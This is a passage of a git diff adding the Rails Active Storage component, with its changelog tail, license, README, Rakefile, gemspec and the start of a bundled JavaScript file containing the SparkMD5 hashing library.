+    * `analyze: :immediately` (default in 8.2) - Analyze before validation
+    * `analyze: :later` - Analyze after upload from local IO or via background job
+    * `analyze: :lazily` - Skip automatic analysis; analyze on-demand
+
+    ```ruby
+    has_one_attached :document, analyze: :later
+    has_many_attached :files, analyze: :lazily
+
+    # Or set the global default:
+    config.active_storage.analyze = :later
+    ```
+
+    Direct uploads bypass the server so the file isn't locally available
+    for analysis. In this case, `:immediately` falls back to `:later`,
+    analyzing via background job after upload completes. Metadata isn't
+    available for validation; validate on the client side instead.
+
+    *Jeremy Daer*
+
+*   Use local files for immediate variant processing and analysis
+
+    `process: :immediately` variants and blob analysis use local files
+    directly instead of re-downloading after upload.
+
+    Applies when attaching uploadable io, not when attaching an existing Blob.
+
+    *Jeremy Daer*
+
+*   Introduce `ActiveStorage::Attachment` upload callbacks
+
+    `after_upload` fires after an attachment's blob is uploaded, enabling
+    analysis and processing to run deterministically rather than assuming
+    after-commit callback execution ordering.
+
+    ```ruby
+    ActiveStorage::Attachment.after_upload do
+      # Your custom logic here
+    end
+    ```
+
+    *Jeremy Daer*
+
+*   Introduce immediate variants that are generated immediately on attachment
+
+    The new `process` option determines when variants are created:
+
+    - `:lazily` (default) - Variants are created dynamically when requested
+    - `:later` (replaces `preprocessed: true`) - Variants are created after attachment, in a background job
+    - `:immediately` (new) - Variants are created along with the attachment
+
+    ```ruby
+    has_one_attached :avatar do |attachable|
+      attachable.variant :thumb, resize_to_limit: [100, 100], process: :immediately
+    end
+    ```
+
+    The `preprocessed: true` option is deprecated in favor of `process: :later`.
+
+    *Tom Rossi*
+
+*   Make `Variant#processed?` and `VariantWithRecord#processed?` public so apps can check variant generation status.
+
+    *Tom Rossi*
+
+*   `ActiveStorage::Blob#open` can now be used without passing a block, like `Tempfile.open`. When using this form the
+    returned temporary file must be unlinked manually.
+
+    *Bart de Water*
+
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/activestorage/CHANGELOG.md) for previous changes.
diff --git a/activestorage/MIT-LICENSE b/activestorage/MIT-LICENSE
new file mode 100644
index 0000000000000..7088436b7c8ae
--- /dev/null
+++ b/activestorage/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) David Heinemeier Hansson, 37signals LLC
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/activestorage/README.md b/activestorage/README.md
new file mode 100644
index 0000000000000..a72322caeb384
--- /dev/null
+++ b/activestorage/README.md
@@ -0,0 +1,211 @@
+# Active Storage
+
+Active Storage makes it simple to upload and reference files in cloud services like [Amazon S3](https://aws.amazon.com/s3/), or [Google Cloud Storage](https://cloud.google.com/storage/docs/), and attach those files to Active Records. Supports having one main service and mirrors in other services for redundancy. It also provides a disk service for testing or local deployments, but the focus is on cloud storage.
+
+Files can be uploaded from the server to the cloud or directly from the client to the cloud.
+
+Image files can furthermore be transformed using on-demand variants for quality, aspect ratio, size, or any other [MiniMagick](https://github.com/minimagick/minimagick) or [Vips](https://www.rubydoc.info/gems/ruby-vips/Vips/Image) supported transformation.
+
+You can read more about Active Storage in the [Active Storage Overview](https://guides.rubyonrails.org/active_storage_overview.html) guide.
+
+## Compared to other storage solutions
+
+A key difference to how Active Storage works compared to other attachment solutions in \Rails is through the use of built-in [Blob](https://github.com/rails/rails/blob/main/activestorage/app/models/active_storage/blob.rb) and [Attachment](https://github.com/rails/rails/blob/main/activestorage/app/models/active_storage/attachment.rb) models (backed by Active Record). This means existing application models do not need to be modified with additional columns to associate with files. Active Storage uses polymorphic associations via the `Attachment` join model, which then connects to the actual `Blob`.
+
+`Blob` models store attachment metadata (filename, content-type, etc.), and their identifier key in the storage service. Blob models do not store the actual binary data. They are intended to be immutable in spirit. One file, one blob. You can associate the same blob with multiple application models as well. And if you want to do transformations of a given `Blob`, the idea is that you'll simply create a new one, rather than attempt to mutate the existing one (though of course you can delete the previous version later if you don't need it).
+
+## Installation
+
+Run `bin/rails active_storage:install` to copy over active_storage migrations.
+
+NOTE: If the task cannot be found, verify that `require "active_storage/engine"` is present in `config/application.rb`.
+
+## Examples
+
+One attachment:
+
+```ruby
+class User < ApplicationRecord
+  # Associates an attachment and a blob. When the user is destroyed they are
+  # purged by default (models destroyed, and resource files deleted).
+  has_one_attached :avatar
+end
+
+# Attach an avatar to the user.
+user.avatar.attach(io: File.open("/path/to/face.jpg"), filename: "face.jpg", content_type: "image/jpeg")
+
+# Does the user have an avatar?
+user.avatar.attached? # => true
+
+# Synchronously destroy the avatar and actual resource files.
+user.avatar.purge
+
+# Destroy the associated models and actual resource files async, via Active Job.
+user.avatar.purge_later
+
+# Does the user have an avatar?
+user.avatar.attached? # => false
+
+# Generate a permanent URL for the blob that points to the application.
+# Upon access, a redirect to the actual service endpoint is returned.
+# This indirection decouples the public URL from the actual one, and
+# allows for example mirroring attachments in different services for
+# high-availability. The redirection has an HTTP expiration of 5 min.
+url_for(user.avatar)
+
+class AvatarsController < ApplicationController
+  def update
+    # params[:avatar] contains an ActionDispatch::Http::UploadedFile object
+    Current.user.avatar.attach(params.require(:avatar))
+    redirect_to Current.user
+  end
+end
+```
+
+Many attachments:
+
+```ruby
+class Message < ApplicationRecord
+  has_many_attached :images
+end
+```
+
+```erb
+<%= form_with model: @message, local: true do |form| %>
+  <%= form.text_field :title, placeholder: "Title" %><br>
+  <%= form.textarea :content %><br><br>
+
+  <%= form.file_field :images, multiple: true %><br>
+  <%= form.submit %>
+<% end %>
+```
+
+```ruby
+class MessagesController < ApplicationController
+  def index
+    # Use the built-in with_attached_images scope to avoid N+1
+    @messages = Message.all.with_attached_images
+  end
+
+  def create
+    message = Message.create! params.expect(message: [ :title, :content, images: [] ])
+    redirect_to message
+  end
+
+  def show
+    @message = Message.find(params[:id])
+  end
+end
+```
+
+Variation of image attachment:
+
+```erb
+<%# Hitting the variant URL will lazy transform the original blob and then redirect to its new service location %>
+<%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %>
+```
+
+## File serving strategies
+
+Active Storage supports two ways to serve files: redirecting and proxying.
+
+### Redirecting
+
+Active Storage generates stable application URLs for files which, when accessed, redirect to signed, short-lived service URLs. This relieves application servers of the burden of serving file data. It is the default file serving strategy.
+
+When the application is configured to proxy files by default, use the `rails_storage_redirect_path` and `_url` route helpers to redirect instead:
+
+```erb
+<%= image_tag rails_storage_redirect_path(@user.avatar) %>
+```
+
+### Proxying
+
+Optionally, files can be proxied instead. This means that your application servers will download file data from the storage service in response to requests. This can be useful for serving files from a CDN.
+
+You can configure Active Storage to use proxying by default:
+
+```ruby
+# config/initializers/active_storage.rb
+Rails.application.config.active_storage.resolve_model_to_route = :rails_storage_proxy
+```
+
+Or if you want to explicitly proxy specific attachments there are URL helpers you can use in the form of `rails_storage_proxy_path` and `rails_storage_proxy_url`.
+
+```erb
+<%= image_tag rails_storage_proxy_path(@user.avatar) %>
+```
+
+## Direct uploads
+
+Active Storage, with its included JavaScript library, supports uploading directly from the client to the cloud.
+
+### Direct upload installation
+
+1. Include the Active Storage JavaScript in your application's JavaScript bundle or reference it directly.
+
+    Requiring directly without bundling through the asset pipeline in the application HTML with autostart:
+    ```erb
+    <%= javascript_include_tag "activestorage" %>
+    ```
+    Requiring via importmap-rails without bundling through the asset pipeline in the application HTML without autostart as ESM:
+    ```ruby
+    # config/importmap.rb
+    pin "@rails/activestorage", to: "activestorage.esm.js"
+    ```
+    ```html
+    <script type="module-shim">
+      import * as ActiveStorage from "@rails/activestorage"
+      ActiveStorage.start()
+    </script>
+    ```
+    Using the asset pipeline:
+    ```js
+    //= require activestorage
+    ```
+    Using the npm package:
+    ```js
+    import * as ActiveStorage from "@rails/activestorage"
+    ActiveStorage.start()
+    ```
+2. Annotate file inputs with the direct upload URL.
+
+    ```erb
+    <%= form.file_field :attachments, multiple: true, direct_upload: true %>
+    ```
+
+3. Configure CORS on third-party storage services to allow direct upload requests.
+
+4. That's it! Uploads begin upon form submission.
+
+### Direct upload JavaScript events
+
+| Event name | Event target | Event data (`event.detail`) | Description |
+| --- | --- | --- | --- |
+| `direct-uploads:start` | `<form>` | None | A form containing files for direct upload fields was submitted. |
+| `direct-upload:initialize` | `<input>` | `{id, file}` | Dispatched for every file after form submission. |
+| `direct-upload:start` | `<input>` | `{id, file}` | A direct upload is starting. |
+| `direct-upload:before-blob-request` | `<input>` | `{id, file, xhr}` | Before making a request to your application for direct upload metadata. |
+| `direct-upload:before-storage-request` | `<input>` | `{id, file, xhr}` | Before making a request to store a file. |
+| `direct-upload:progress` | `<input>` | `{id, file, progress}` | As requests to store files progress. |
+| `direct-upload:error` | `<input>` | `{id, file, error}` | An error occurred. An `alert` will display unless this event is canceled. |
+| `direct-upload:end` | `<input>` | `{id, file}` | A direct upload has ended. |
+| `direct-uploads:end` | `<form>` | None | All direct uploads have ended. |
+
+## License
+
+Active Storage is released under the [MIT License](https://opensource.org/licenses/MIT).
+
+## Support
+
+API documentation is at:
+
+* https://api.rubyonrails.org
+
+Bug reports for the Ruby on \Rails project can be filed here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rubyonrails-core forum here:
+
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/activestorage/Rakefile b/activestorage/Rakefile
new file mode 100644
index 0000000000000..1651e8626ae44
--- /dev/null
+++ b/activestorage/Rakefile
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "bundler/setup"
+require "bundler/gem_tasks"
+require "rake/testtask"
+
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
+
+Rake::TestTask.new do |t|
+  t.libs << "app/controllers"
+  t.libs << "test"
+  t.test_files = FileList["test/**/*_test.rb"]
+  t.verbose = true
+  t.options = "--profile" if ENV["CI"]
+  t.warning = true
+end
+
+if ENV["encrypted_0fb9444d0374_key"] && ENV["encrypted_0fb9444d0374_iv"]
+  config_file = "test/service/configurations.yml"
+  file config_file do
+    puts "Generating #{config_file} for Active Storage tests..."
+    system "openssl aes-256-cbc -K $encrypted_0fb9444d0374_key -iv $encrypted_0fb9444d0374_iv -in #{config_file}.enc -out #{config_file} -d"
+  end
+
+  task test: config_file
+end
+
+namespace :test do
+  task isolated: :railties
+
+  task :railties do
+    ["active_storage/engine"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
+  end
+end
+
+task default: :test
diff --git a/activestorage/activestorage.gemspec b/activestorage/activestorage.gemspec
new file mode 100644
index 0000000000000..9f1c58f362995
--- /dev/null
+++ b/activestorage/activestorage.gemspec
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "activestorage"
+  s.version     = version
+  s.summary     = "Local and cloud file storage framework."
+  s.description = "Attach cloud and local files in Rails applications."
+
+  s.required_ruby_version = ">= 3.2.0"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "https://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.md", "lib/**/*", "app/**/*", "config/**/*", "db/**/*"]
+  s.require_path = "lib"
+
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/activestorage/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/activestorage",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
+  s.add_dependency "activesupport", version
+  s.add_dependency "actionpack",    version
+  s.add_dependency "activejob",     version
+  s.add_dependency "activerecord",  version
+
+  s.add_dependency "marcel",    "~> 1.0"
+end
diff --git a/activestorage/app/assets/javascripts/.gitattributes b/activestorage/app/assets/javascripts/.gitattributes
new file mode 100644
index 0000000000000..61f79c56ea5c3
--- /dev/null
+++ b/activestorage/app/assets/javascripts/.gitattributes
@@ -0,0 +1,2 @@
+activestorage.js linguist-generated
+activestorage.esm.js linguist-generated
diff --git a/activestorage/app/assets/javascripts/activestorage.esm.js b/activestorage/app/assets/javascripts/activestorage.esm.js
new file mode 100644
index 0000000000000..c0ec12f4f15fd
--- /dev/null
+++ b/activestorage/app/assets/javascripts/activestorage.esm.js
@@ -0,0 +1,884 @@
+var sparkMd5 = {
+  exports: {}
+};
+
+(function(module, exports) {
+  (function(factory) {
+    {
+      module.exports = factory();
+    }
+  })((function(undefined$1) {
+    var hex_chr = [ "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" ];
+    function md5cycle(x, k) {
+      var a = x[0], b = x[1], c = x[2], d = x[3];
+      a += (b & c | ~b & d) + k[0] - 680876936 | 0;
+      a = (a << 7 | a >>> 25) + b | 0;
+      d += (a & b | ~a & c) + k[1] - 389564586 | 0;
+      d = (d << 12 | d >>> 20) + a | 0;
+      c += (d & a | ~d & b) + k[2] + 606105819 | 0;
+      c = (c << 17 | c >>> 15) + d | 0;
+      b += (c & d | ~c & a) + k[3] - 1044525330 | 0;
+      b = (b << 22 | b >>> 10) + c | 0;
+      a += (b & c | ~b & d) + k[4] - 176418897 | 0;
+      a = (a << 7 | a >>> 25) + b | 0;
+      d += (a & b | ~a & c) + k[5] + 1200080426 | 0;
+      d = (d << 12 | d >>> 20) + a | 0;
+      c += (d & a | ~d & b) + k[6] - 1473231341 | 0;
+      c = (c << 17 | c >>> 15) + d | 0;
+      b += (c & d | ~c & a) + k[7] - 45705983 | 0;
+      b = (b << 22 | b >>> 10) + c | 0;
+      a += (b & c | ~b & d) + k[8] + 1770035416 | 0;
+      a = (a << 7 | a >>> 25) + b | 0;
+      d += (a & b | ~a & c) + k[9] - 1958414417 | 0;
+      d = (d << 12 | d >>> 20) + a | 0;
+      c += (d & a | ~d & b) + k[10] - 42063 | 0;
+      c = (c << 17 | c >>> 15) + d | 0;
+      b += (c & d | ~c & a) + k[11] - 1990404162 | 0;
+      b = (b << 22 | b >>> 10) + c | 0;
+      a += (b & c | ~b & d) + k[12] + 1804603682 | 0;
+      a = (a << 7 | a >>> 25) + b | 0;
+      d += (a & b | ~a & c) + k[13] - 40341101 | 0;
+      d = (d << 12 | d >>> 20) + a | 0;
+      c += (d & a | ~d & b) + k[14] - 1502002290 | 0;
+      c = (c << 17 | c >>> 15) + d | 0;
+      b += (c & d | ~c & a) + k[15] + 1236535329 | 0;
+      b = (b << 22 | b >>> 10) + c | 0;
+      a += (b & d | c & ~d) + k[1] - 165796510 | 0;
+      a = (a << 5 | a >>> 27) + b | 0;
+      d += (a & c | b & ~c) + k[6] - 1069501632 | 0;
+      d = (d << 9 | d >>> 23) + a | 0;
+      c += (d & b | a & ~b) + k[11] + 643717713 | 0;
+      c = (c << 14 | c >>> 18) + d | 0;
+      b += (c & a | d & ~a) + k[0] - 373897302 | 0;
+      b = (b << 20 | b >>> 12) + c | 0;
+      a += (b & d | c & ~d) + k[5] - 701558691 | 0;
+      a = (a << 5 | a >>> 27) + b | 0;
+      d += (a & c | b & ~c) + k[10] + 38016083 | 0;
+      d = (d << 9 | d >>> 23) + a | 0;
+      c += (d & b | a & ~b) + k[15] - 660478335 | 0;
+      c = (c << 14 | c >>> 18) + d | 0;
+      b += (c & a | d & ~a) + k[4] - 405537848 | 0;
+      b = (b << 20 | b >>> 12) + c | 0;
+      a += (b & d | c & ~d) + k[9] + 568446438 | 0;
+      a = (a << 5 | a >>> 27) + b | 0;
+      d += (a & c | b & ~c) + k[14] - 1019803690 | 0;
+      d = (d << 9 | d >>> 23) + a | 0;
+      c += (d & b | a & ~b) + k[3] - 187363961 | 0;
+      c = (c << 14 | c >>> 18) + d | 0;
+      b += (c & a | d & ~a) + k[8] + 1163531501 | 0;
+      b = (b << 20 | b >>> 12) + c | 0;
+      a += (b & d | c & ~d) + k[13] - 1444681467 | 0;
+      a = (a << 5 | a >>> 27) + b | 0;
+      d += (a & c | b & ~c) + k[2] - 51403784 | 0;
+      d = (d << 9 | d >>> 23) + a | 0;
+      c += (d & b | a & ~b) + k[7] + 1735328473 | 0;
+      c = (c << 14 | c >>> 18) + d | 0;
+      b += (c & a | d & ~a) + k[12] - 1926607734 | 0;
+      b = (b << 20 | b >>> 12) + c | 0;
+      a += (b ^ c ^ d) + k[5] - 378558 | 0;
+      a = (a << 4 | a >>> 28) + b | 0;
+      d += (a ^ b ^ c) + k[8] - 2022574463 | 0;
+      d = (d << 11 | d >>> 21) + a | 0;
+      c += (d ^ a ^ b) + k[11] + 1839030562 | 0;
+      c = (c << 16 | c >>> 16) + d | 0;
+      b += (c ^ d ^ a) + k[14] - 35309556 | 0;
+      b = (b << 23 | b >>> 9) + c | 0;
+      a += (b ^ c ^ d) + k[1] - 1530992060 | 0;
+      a = (a << 4 | a >>> 28) + b | 0;
+      d += (a ^ b ^ c) + k[4] + 1272893353 | 0;
+      d = (d << 11 | d >>> 21) + a | 0;
+      c += (d ^ a ^ b) + k[7] - 155497632 | 0;
+      c = (c << 16 | c >>> 16) + d | 0;
+      b += (c ^ d ^ a) + k[10] - 1094730640 | 0;
+      b = (b << 23 | b >>> 9) + c | 0;
+      a += (b ^ c ^ d) + k[13] + 681279174 | 0;
+      a = (a << 4 | a >>> 28) + b | 0;
+      d += (a ^ b ^ c) + k[0] - 358537222 | 0;
+      d = (d << 11 | d >>> 21) + a | 0;
+      c += (d ^ a ^ b) + k[3] - 722521979 | 0;
+      c = (c << 16 | c >>> 16) + d | 0;
+      b += (c ^ d ^ a) + k[6] + 76029189 | 0;
+      b = (b << 23 | b >>> 9) + c | 0;
+      a += (b ^ c ^ d) + k[9] - 640364487 | 0;
+      a = (a << 4 | a >>> 28) + b | 0;
+      d += (a ^ b ^ c) + k[12] - 421815835 | 0;
+      d = (d << 11 | d >>> 21) + a | 0;
+      c += (d ^ a ^ b) + k[15] + 530742520 | 0;
+      c = (c << 16 | c >>> 16) + d | 0;
+      b += (c ^ d ^ a) + k[2] - 995338651 | 0;
+      b = (b << 23 | b >>> 9) + c | 0;
+      a += (c ^ (b | ~d)) + k[0] - 198630844 | 0;
+      a = (a << 6 | a >>> 26) + b | 0;
+      d += (b ^ (a | ~c)) + k[7] + 1126891415 | 0;
+      d = (d << 10 | d >>> 22) + a | 0;
+      c += (a ^ (d | ~b)) + k[14] - 1416354905 | 0;
+      c = (c << 15 | c >>> 17) + d | 0;
+      b += (d ^ (c | ~a)) + k[5] - 57434055 | 0;
+      b = (b << 21 | b >>> 11) + c | 0;
+      a += (c ^ (b | ~d)) + k[12] + 1700485571 | 0;
+      a = (a << 6 | a >>> 26) + b | 0;
+      d += (b ^ (a | ~c)) + k[3] - 1894986606 | 0;
+      d = (d << 10 | d >>> 22) + a | 0;
+      c += (a ^ (d | ~b)) + k[10] - 1051523 | 0;
+      c = (c << 15 | c >>> 17) + d | 0;
+      b += (d ^ (c | ~a)) + k[1] - 2054922799 | 0;
+      b = (b << 21 | b >>> 11) + c | 0;
+      a += (c ^ (b | ~d)) + k[8] + 1873313359 | 0;
+      a = (a << 6 | a >>> 26) + b | 0;
+      d += (b ^ (a | ~c)) + k[15] - 30611744 | 0;
+      d = (d << 10 | d >>> 22) + a | 0;
+      c += (a ^ (d | ~b)) + k[6] - 1560198380 | 0;
+      c = (c << 15 | c >>> 17) + d | 0;
+      b += (d ^ (c | ~a)) + k[13] + 1309151649 | 0;
+      b = (b << 21 | b >>> 11) + c | 0;
+      a += (c ^ (b | ~d)) + k[4] - 145523070 | 0;
+      a = (a << 6 | a >>> 26) + b | 0;
+      d += (b ^ (a | ~c)) + k[11] - 1120210379 | 0;
+      d = (d << 10 | d >>> 22) + a | 0;
+      c += (a ^ (d | ~b)) + k[2] + 718787259 | 0;
+      c = (c << 15 | c >>> 17) + d | 0;
+      b += (d ^ (c | ~a)) + k[9] - 343485551 | 0;
+      b = (b << 21 | b >>> 11) + c | 0;
+      x[0] = a + x[0] | 0;
+      x[1] = b + x[1] | 0;
+      x[2] = c + x[2] | 0;
+      x[3] = d + x[3] | 0;
+    }
+    function md5blk(s) {
+      var md5blks = [], i;
+      for (i = 0; i < 64; i += 4) {
+        md5blks[i >> 2] = s.charCodeAt(i) + (s.charCodeAt(i + 1) << 8) + (s.charCodeAt(i + 2) << 16) + (s.charCodeAt(i + 3) << 24);
+      }
+      return md5blks;
+    }
+    function md5blk_array(a) {
+      var md5blks = [], i;
+      for (i = 0; i < 64; i += 4) {
+        md5blks[i >> 2] = a[i] + (a[i + 1] << 8) + (a[i + 2] << 16) + (a[i + 3] << 24);
+      }
+      return md5blks;
+    }
+    function md51(s) {
+      var n = s.length, state = [ 1732584193, -271733879, -1732584194, 271733878 ], i, length, tail, tmp, lo, hi;
+      for (i = 64; i <= n; i += 64) {
+        md5cycle(state, md5blk(s.substring(i - 64, i)));
+      }
+      s = s.substring(i - 64);
+      length = s.length;
+      tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ];
+      for (i = 0; i < length; i += 1) {
+        tail[i >> 2] |= s.charCodeAt(i) << (i % 4 << 3);
+      }
+      tail[i >> 2] |= 128 << (i % 4 << 3);
+      if (i > 55) {
+        md5cycle(state, tail);
+        for (i = 0; i < 16; i += 1) {
+          tail[i] = 0;
+        }
+      }
+      tmp = n * 8;
+      tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+      lo = parseInt(tmp[2], 16);
+      hi = parseInt(tmp[1], 16) || 0;
+      tail[14] = lo;
+      tail[15] = hi;
+      md5cycle(state, tail);
+      return state;
+    }
+    function md51_array(a) {
+      var n = a.length, state = [ 1732584193, -271733879, -1732584194, 271733878 ], i, length, tail, tmp, lo, hi;
+      for (i = 64; i <= n; i += 64) {
+        md5cycle(state, md5blk_array(a.subarray(i - 64, i)));
+      }
+      a = i - 64 < n ? a.subarray(i - 64) : new Uint8Array(0);
+      length = a.length;
+      tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ];
+      for (i = 0; i < length; i += 1) {
+        tail[i >> 2] |= a[i] << (i % 4 << 3);
+      }
+      tail[i >> 2] |= 128 << (i % 4 << 3);
+      if (i > 55) {
+        md5cycle(state, tail);
+        for (i = 0; i < 16; i += 1) {
+          tail[i] = 0;
+        }
+      }
+      tmp = n * 8;
+      tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+      lo = parseInt(tmp[2], 16);
+      hi = parseInt(tmp[1], 16) || 0;
+      tail[14] = lo;
+      tail[15] = hi;
+      md5cycle(state, tail);
+      return state;
+    }
+    function rhex(n) {
+      var s = "", j;
+      for (j = 0; j < 4; j += 1) {
+        s += hex_chr[n >> j * 8 + 4 & 15] + hex_chr[n >> j * 8 & 15];
+      }
+      return s;
+    }
+    function hex(x) {
+      var i;
+      for (i = 0; i < x.length; i += 1) {
+        x[i] = rhex(x[i]);
+      }
+      return x.join("");
+    }
+    if (hex(md51("hello")) !== "5d41402abc4b2a76b9719d911017c592") ;
+    if (typeof ArrayBuffer !== "undefined" && !ArrayBuffer.prototype.slice) {
+      (function() {
+        function clamp(val, length) {
+          val = val | 0 || 0;
+          if (val < 0) {
+            return Math.max(val + length, 0);
+          }
+          return Math.min(val, length);
+        }
+        ArrayBuffer.prototype.slice = function(from, to) {
+          var length = this.byteLength, begin = clamp(from, length), end = length, num, target, targetArray, sourceArray;
+          if (to !== undefined$1) {
+            end = clamp(to, length);
+          }
+          if (begin > end) {
+            return new ArrayBuffer(0);
+          }
+          num = end - begin;
+          target = new ArrayBuffer(num);
+          targetArray = new Uint8Array(target);
+          sourceArray = new Uint8Array(this, begin, num);
+          targetArray.set(sourceArray);
+          return target;
+        };
+      })();
+    }
+    function toUtf8(str) {
+      if (/[\u0080-\uFFFF]/.test(str)) {
+        str = unescape(encodeURIComponent(str));
+      }
+      return str;
+    }
+    function utf8Str2ArrayBuffer(str, returnUInt8Array) {
+      var length = str.length, buff = new ArrayBuffer(length), arr = new Uint8Array(buff), i;
+      for (i = 0; i < length; i += 1) {
+        arr[i] = str.charCodeAt(i);
+      }
+      return returnUInt8Array ? arr : buff;
+    }
+    function arrayBuffer2Utf8Str(buff) {
+      return String.fromCharCode.apply(null, new Uint8Array(buff));
+    }
+    function concatenateArrayBuffers(first, second, returnUInt8Array) {
+      var result = new Uint8Array(first.byteLength + second.byteLength);
+      result.set(new Uint8Array(first));
+      result.set(new Uint8Array(second), first.byteLength);
+      return returnUInt8Array ? result : result.buffer;
+    }
+    function hexToBinaryString(hex) {
+      var bytes = [], length = hex.length, x;
+      for (x = 0; x < length - 1; x += 2) {
+        bytes.push(parseInt(hex.substr(x, 2), 16));
+      }
+      return String.fromCharCode.apply(String, bytes);
+    }
+    function SparkMD5() {
+      this.reset();
+    }
+    SparkMD5.prototype.append = function(str) {
+      this.appendBinary(toUtf8(str));
+      return this;
+    };
+    SparkMD5.prototype.appendBinary = function(contents) {
+      this._buff += contents;
+      this._length += contents.length;
+      var length = this._buff.length, i;
+      for (i = 64; i <= length; i += 64) {
+        md5cycle(this._hash, md5blk(this._buff.substring(i - 64, i)));
+      }
+      this._buff = this._buff.substring(i - 64);
+      return this;
+    };
+    SparkMD5.prototype.end = function(raw) {
+      var buff = this._buff, length = buff.length, i, tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], ret;
+      for (i = 0; i < length; i += 1) {
+        tail[i >> 2] |= buff.charCodeAt(i) << (i % 4 << 3);
+      }
+      this._finish(tail, length);
+      ret = hex(this._hash);
+      if (raw) {
+        ret = hexToBinaryString(ret);
+      }
+      this.reset();
+      return ret;
+    };
+    SparkMD5.prototype.reset = function() {
+      this._buff = "";
+      this._length = 0;
+      this._hash = [ 1732584193, -271733879, -1732584194, 271733878 ];
+      return this;
+    };
+    SparkMD5.prototype.getState = function() {
+      return {
+        buff: this._buff,
+        length: this._length,
+        hash: this._hash.slice()
+      };
+    };
+    SparkMD5.prototype.setState = function(state) {
+      this._buff = state.buff;
+      this._length = state.length;
+      this._hash = state.hash;
+      return this;
+    };
+    SparkMD5.prototype.destroy = function() {
+      delete this._hash;
+      delete this._buff;
+      delete this._length;
+    };
+    SparkMD5.prototype._finish = function(tail, length) {
+      var i = length, tmp, lo, hi;
+      tail[i >> 2] |= 128 << (i % 4 << 3);
+      if (i > 55) {
+        md5cycle(this._hash, tail);
+        for (i = 0; i < 16; i += 1) {
+          tail[i] = 0;
+        }
+      }
+      tmp = this._length * 8;
+      tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+      lo = parseInt(tmp[2], 16);
+      hi = parseInt(tmp[1], 16) || 0;
+      tail[14] = lo;
+      tail[15] = hi;
+      md5cycle(this._hash, tail);
+    };
+    SparkMD5.hash = function(str, raw) {
+      return SparkMD5.hashBinary(toUtf8(str), raw);
+    };
+    SparkMD5.hashBinary = function(content, raw) {
+      var hash = md51(content), ret = hex(hash);
+      return raw ? hexToBinaryString(ret) : ret;
+    };
+    SparkMD5.ArrayBuffer = function() {
+      this.reset();
+    };
+    SparkMD5.ArrayBuffer.prototype.append = function(arr) {
+      var buff = concatenateArrayBuffers(this._buff.buffer, arr, true), length = buff.length, i;
+      this._length += arr.byteLength;
+      for (i = 64; i <= length; i += 64) {
+        md5cycle(this._hash, md5blk_array(buff.subarray(i - 64, i)));
+      }
+      this._buff = i - 64 < length ? new Uint8Array(buff.buffer.slice(i - 64)) : new Uint8Array(0);
+      return this;
+    };
+    SparkMD5.ArrayBuffer.prototype.end = function(raw) {
+      var buff = this._buff, length = buff.length, tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], i, ret;
+      for (i = 0; i < length; i += 1) {
+        tail[i >> 2] |= buff[i] << (i % 4 << 3);
+      }
+      this._finish(tail, length);
+      ret = hex(this._hash);
+      if (raw) {
+        ret = hexToBinaryString(ret);
+      }
+      this.reset();
+      return ret;
+    };
+    SparkMD5.ArrayBuffer.prototype.reset = function() {
+      this._buff = new Uint8Array(0);
+      this._length = 0;
+      this._hash = [ 1732584193, -271733879, -1732584194, 271733878 ];
+      return this;
+    };
+    SparkMD5.ArrayBuffer.prototype.getState = function() {
+      var state = SparkMD5.prototype.getState.call(this);
+      state.buff = arrayBuffer2Utf8Str(state.buff);
+      return state;
+    };
+    SparkMD5.ArrayBuffer.prototype.setState = function(state) {
+      state.buff = utf8Str2ArrayBuffer(state.buff, true);
